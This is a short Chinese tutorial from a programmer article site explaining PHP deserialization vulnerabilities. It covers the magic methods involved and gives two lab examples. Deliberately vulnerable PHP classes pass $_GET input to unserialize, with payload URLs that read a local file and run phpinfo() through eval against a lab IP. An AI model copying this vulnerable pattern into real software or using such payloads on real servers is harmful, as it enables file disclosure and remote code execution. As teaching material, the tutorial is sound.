欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

PHP反序列化漏洞原理与举例

程序员文章站 2022-03-09 14:26:49
...

原理:

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法。

漏洞触发条件:

unserialize函数的变量可控,php文件中存在可利用的类,类中有魔术方法

魔术方法:

__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用

序列化数据格式:

PHP反序列化漏洞原理与举例

serialize函数与unserialize函数对比:

<?php
$a='xiaohua';

echo $a;
echo '<br>';
echo  serialize($a);
echo '<br>';
echo  unserialize('s:7:"xiaohua";');

?>

PHP反序列化漏洞原理与举例

文件读取

创建文件ceshi.php代码如下

<?php
class F{
	public $filename='C:/index.php';
	function __destruct(){
		$data=readfile($this->filename);
		echo $data;
	}
}

unserialize($_GET['a']);

?>

输入:http://192.168.106.130/ceshi.php?a=O:1:%22F%22:1:{s:8:%22filename%22;s:8:%22c:/1.txt%22;}
PHP反序列化漏洞原理与举例
c:/1.txt文件中内容是xxx,xxx3中3是说明内容有3个字符

代码执行

<?php
class F{
	var $var = '';
	function __destruct(){
		eval($this->var);
	}
}

unserialize($_GET['a']);

?>

输入:http://192.168.106.130/ceshi.php?a=O:1:%22F%22:1:{s:3:%22var%22;s:10:%22phpinfo();%22;}
PHP反序列化漏洞原理与举例

相关标签: 反序列化